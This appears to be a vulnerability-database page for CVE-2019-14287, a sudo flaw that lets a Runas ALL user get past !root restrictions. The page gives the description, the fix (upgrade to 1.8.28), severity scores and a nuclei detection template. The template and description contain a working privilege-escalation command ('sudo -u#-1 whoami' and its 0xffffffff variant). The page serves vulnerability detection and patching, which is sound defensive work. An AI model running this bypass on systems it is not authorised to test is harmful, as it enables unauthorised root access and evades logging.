HexBrain

Browse / CVEs / CVE-2019-14287

CVE-2019-14287· sudo project / sudo· CWE-755

Sudo <= 1.8.27 - Security Bypass

highseverity
8.8CVSS score
63.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.

Impact

Attackers can bypass privilege restrictions, potentially leading to unauthorized privilege escalation and incorrect logging.

Fix

Upgrade Sudo to version 1.8.28 or later that properly handles crafted user ID values.

How to confirm it

Positive when: !contains(code_1_response, "root") and contains(code_2_response, "root")

Run it with nuclei: nuclei -id CVE-2019-14287 -u <target>

The full check
id: CVE-2019-14287

info:
  name: Sudo <= 1.8.27 - Security Bypass
  author: daffainfo
  severity: high
  description: |
    In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.
  remediation: |
    Upgrade Sudo to version 1.8.28 or later that properly handles crafted user ID values.
  impact: |
    Attackers can bypass privilege restrictions, potentially leading to unauthorized privilege escalation and incorrect logging.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287
    - https://www.exploit-db.com/exploits/47502
    - http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00042.html
    - http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00047.html
    - http://packetstormsecurity.com/files/154853/Slackware-Security-Advisory-sudo-Updates.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-14287
    cwe-id: CWE-755
    epss-score: 0.63764
    epss-percentile: 0.99226
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sudo_project
    product: sudo
  tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project,vuln

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      sudo -u#-1 whoami

    matchers:
      - type: dsl
        dsl:
          - '!contains(code_1_response, "root")'
          - 'contains(code_2_response, "root")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from